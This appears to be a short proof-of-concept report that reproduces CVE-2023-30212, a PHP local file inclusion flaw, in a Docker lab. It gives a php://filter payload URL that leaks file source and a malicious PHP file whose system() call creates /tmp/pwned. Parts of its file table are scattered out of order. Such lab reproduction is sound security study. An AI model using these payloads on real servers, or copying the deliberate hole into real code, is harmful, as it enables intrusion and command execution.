
PoC for CVE-2023-30212 using Docker
PoC for CVE-2023-30212 using Docker
This report details the direct construction of a Docker-based vulnerable web environment for CVE-2023-30212, a vulnerability not present in Vulhub, and demonstrates the vulnerability through a PoC.
php:8.1-apachevulnerable.php and malicious.php to the /var/www/html directory8088
| File Name | Description |
|---|---|
vulnerable.php | PHP file with LFI vulnerability |
malicious.php |
---
docker-compose up -d
Container name: cve-2023-30212-cve-lfi-1
Apache server is running and accessible at http://localhost:8088
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
Decoding the output reveals the following PHP code:
<?php system("touch /tmp/pwned"); ?>
http://localhost:8088/malicious.php
After execution, the file /tmp/pwned should be created.
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
If the pwned file exists in the output, the test is successful.
Successfully viewed and decoded malicious file contents via php://filter-based LFI vulnerability
Successfully executed arbitrary commands by calling malicious PHP containing the system() function
PoC verification completed by creation of /tmp/pwned file
| Malicious PHP file executing system commands |
docker-compose.yml | Configuration file for container setup |
Dockerfile | Configuration file for Docker image creation |